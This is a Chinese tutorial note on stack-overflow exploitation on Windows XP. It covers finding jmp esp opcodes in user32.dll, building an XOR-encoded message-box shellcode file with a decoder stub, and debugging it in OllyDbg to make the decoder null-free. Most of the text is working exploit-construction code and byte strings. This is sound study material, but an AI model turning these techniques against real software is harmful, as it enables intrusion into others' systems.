Windows Shellcode学习笔记——栈溢出中对jmp esp的利用与优化

0x00 前言


在《Windows Shellcode学习笔记——shellcode在栈溢出中的利用与优化》中对栈溢出的利用做了介绍。通过将返回地址覆盖为shellcode在内存中的起始地址,实现对栈溢出的利用

但是shellcode在内存中的起始地址往往不固定,导致漏洞利用不一定成功,本文将通过jmp esp的方式来解决这个问题

0x01 简介


函数代码在栈中保存顺序(直观理解,已省略其他细节):

  • buffer
  • 前栈帧EBP
  • 返回地址
  • ESP

ESP寄存器总是指向返回地址的下一地址

如果用jmp esp覆盖返回地址,那么在函数返回后会执行jmp esp,跳到esp,也就是返回地址的下一地址开始执行

因此,将shellcode放于返回地址之后,并将返回地址覆盖为jmp esp,就可以避免shellcode在内存中产生的移位问题

本文将要介绍使用jmp esp的具体细节,并分享如何优化我们自己生成的弹框实例shellcode,实现jmp esp利用,编写程序自动实现,解决shellcode在内存中的起始地址不固定的问题。

弹框实例shellcode下载地址:

https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin

0x01 jmp esp


获得jmp esp的机器码:

可通过搜索各个进程空间来获取,具体原理可参考《0day安全:软件漏洞分析技术》3.2.2节

为便于理解和测试,直接引用《0day安全:软件漏洞分析技术》3.2.2节中的代码,代码如下:

#include <stdio.h>
#include <windows.h>
#define DLL_NAME "user32.dll"
int main()
{
    BYTE *ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag=FALSE;
    handle=LoadLibrary(DLL_NAME);
    if(!handle)
    {
        printf("load dll error");
        return 0;
    }
    ptr=(BYTE *)handle;
    for(position=0;!done_flag;position++)
    {
        try
        {
            if(ptr[position]==0xFF &&ptr[position+1]==0xE4)
            {
                int address=(int)ptr+position;
                printf("OPCODE found at 0x%x\n",address);
            }
        }
        catch(...)
        {
        int address=(int)ptr+position;
        printf("END OF 0x%x\n",address);
        done_flag=true;
        }
    }
    return 0;
}

如下图,获得机器码,挑选第一个地址0x77d29353,构建我们的shellcode

Alt text

初步设想shellcode的结构为:

填充数据(长度44)+偏移长度+jmp esp的机器码+解码器+加密的弹框shellcode+结束字符

具体数据为:

"\x34\x33\x32\x31“*11+"\x90\x90\x90\x90\x90\x90\x90\x90"+"\x53\x93\xD2\x77"+"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的弹框shellcode+\xD5

通过程序自动实现此过程,代码如下:

#include <windows.h>
size_t GetSize(char * szFilePath)
{
    size_t size;
    FILE* f = fopen(szFilePath, "rb");
    fseek(f, 0, SEEK_END);
    size = ftell(f);
    rewind(f);
    fclose(f);
    return size;
}
unsigned char* ReadBinaryFile(char *szFilePath, size_t *size)
{
    unsigned char *p = NULL;
    FILE* f = NULL;
    size_t res = 0;
    *size = GetSize(szFilePath);
    if (*size == 0) return NULL;        
    f = fopen(szFilePath, "rb");
    if (f == NULL)
    {
        printf("Binary file does not exists!\n");
        return 0;
    }
    p = new unsigned char[*size];
    rewind(f);
    res = fread(p, sizeof(unsigned char), *size, f);
    fclose(f);
    if (res == 0)
    {
        delete[] p;
        return NULL;
    }
    return p;
}
int main(int argc, char* argv[])
{
    char *szFilePath="c:\\test\\shellcode.bin";
    char *szFilePath2="c:\\test\\shellcode2.bin";
    unsigned char *BinData = NULL;
    size_t size = 0;    
    BinData = ReadBinaryFile(szFilePath, &size);
    for(int i=0;i<size;i++)
    {
        BinData[i]=BinData[i]^0x44;
    }
    FILE* f = NULL;    
    f = fopen(szFilePath2, "wb");
    if (f == NULL)
    {
        printf("Create error\n");
        return 0;
    }
    char filler[]="\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31\x34\x33\x32\x31";
    char nop[]="\x90\x90\x90\x90\x90\x90\x90\x90";
    char jmpesp[]="\x53\x93\xD2\x77";
    char decode[]="\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1";
    char end[]="\xD5";
    fwrite(filler,sizeof(filler)-1,1,f);
    fwrite(nop,sizeof(nop)-1,1,f);
    fwrite(jmpesp,sizeof(jmpesp)-1,1,f);
    fwrite(decode,sizeof(decode)-1,1,f);
    fwrite(BinData,size,1,f);
    fwrite(end,1,1,f);
    fclose(f);
}

运行后生成shellcode2.bin

由于我们自己生成的这个shellcode长度较长,在测试时需要对原书中的栈溢出程序作修改,否则会报错,例如
if(!(fp=fopen("password.txt","rw+")))
应修改为
if(!(fp=fopen("password2.txt","rb")))

更多细节可参考完整代码,栈溢出测试程序的完整代码已上传至github,地址如下:

https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowExample(jmpesp).cpp

测试栈溢出测试程序

测试环境:

测试系统:Win XP
编译器:VC6.0
build版本: debug版本

测试栈溢出测试程序,发现报错

0x02 shellcode调试与优化


使用OllyDbg调试

关键位置按F2下断点,按F9执行到断点处

如下图,成功覆盖返回地址,数值为0x77d29353

Alt text

按F8单步执行,跳到JMP ESP,如下图

Alt text

接着F8单步执行,如下图,此时EDX寄存器不再保存shellcode起始地址,EDX值为0x0012FFE0,而理论上shellcode起始地址应为0x0012F77C

Alt text

需要找到一个能保存shellcode起始地址的寄存器或者存在某种偏移关系的寄存器

通过进一步调试,发现整个过程EDI寄存器的值保持不变,为 0X0012F720,而且shellcode起始地址作了变化,不再是0x0012F77C

如下图,在CALL test2.004011A0下断点,shellcode起始地址由0x0012F77C变为0X0012F6F0

Alt text

如下图,0x0012F77C已被覆盖,侧面证明shellcode起始地址发生变化

Alt text

综上,可大胆推测实际shellcode起始地址=EDI-0X000008F0h

解码器实现思路如下:

通过EDI-0X000008F0h来获得shellcode起始地址,并且保存在寄存器EAX中

对应汇编代码如下:

void main()
{
    __asm
    {
        sub edi,0x8F0
        mov eax,edi
        add eax,0x28
        xor ecx,ecx
decode_loop:
        mov bl,[eax+ecx]
        xor bl,0x44
        mov [eax+ecx],bl
        inc ecx
        cmp bl,0x91
        jne decode_loop
    }
}

提取出机器码为
"\x81\xEF\xF0\x08\x00\x00\x8B\xC7\x83\xC0\x28\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"

如图

Alt text

此时又出现\x00字符,实际使用时会被提前截断,所以汇编代码需要作进一步优化:

通过先加后减两步操作,来避免shellcode出现\00字符

注:

先减后加会造成越界

先加后减两步操作如下:

EDI-0X000008F0h=0X0012F720+0X11111111h-0X111119A1h

由于shellcode前面多了填充数据,所以解码器的偏移也要重新计算,偏移=填充数据长度+解码器长度=0x34+0x26=0x5A

对应完整汇编代码如下:

void main()
{
    __asm
    {
        add edi,0X11111111
        sub edi,0X111119A1
        mov eax,edi
        add eax,0x5A
        xor ecx,ecx
decode_loop:
        mov bl,[eax+ecx]
        xor bl,0x44
        mov [eax+ecx],bl
        inc ecx
        cmp bl,0x91
        jne decode_loop
    }
}

Alt text

如上图,提取机器码为

"\x81\xC7\x11\x11\x11\x11\x81\xEF\xA1\x19\x11\x11\x8B\xC7\x83\xC0\x5A\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"

如下图,寻址正常,shellcode成功执行

Alt text

0x03 程序自动实现

将以上代码同获得jmp esp机器码的代码融合,实现自动获取jmp esp的机器码并写入shellcode,完整代码已上传至github:

https://github.com/3gstudent/Shellcode-Generater/blob/master/jmpespshellcode.cpp

注:

通过子函数GetAddress()实现自动寻址,需要先从子函数GetAddress()返回int型数据,再在main函数中通过指针读取jmp esp的机器码

如果顺序颠倒,那么地址无法获取

错误的获取地址代码如下:

unsigned char *GetAddress()
{
    BYTE *ptr;
    int position,address;
    HINSTANCE handle;
    BOOL done_flag=FALSE;
    handle=LoadLibrary(DLL_NAME);
    if(!handle)
    {
        printf("load dll error");
        return 0;
    }
    ptr=(BYTE *)handle;
    for(position=0;!done_flag;position++)
    {
        try
        {
            if(ptr[position]==0xFF &&ptr[position+1]==0xE4)
            {
                int address=(int)ptr+position;
                unsigned char *Buff=(unsigned char *)&address;
                return Buff;                
            }            
        }
        catch(...)
        {
        int address=(int)ptr+position;
        printf("END OF 0x%x\n",address);
        done_flag=true;
        }
    }
    return 0;
}
unsigned char *jmpesp=NULL;
jmpesp=GetAddress();

0x04 小结


本文介绍了栈溢出中使用jmp esp的利用方法,结合遇到的实际情况对我们自己生成的弹框实例shellcode作优化,选取固定寄存器地址,计算偏移,最终定位shellcode起始地址,完成利用。


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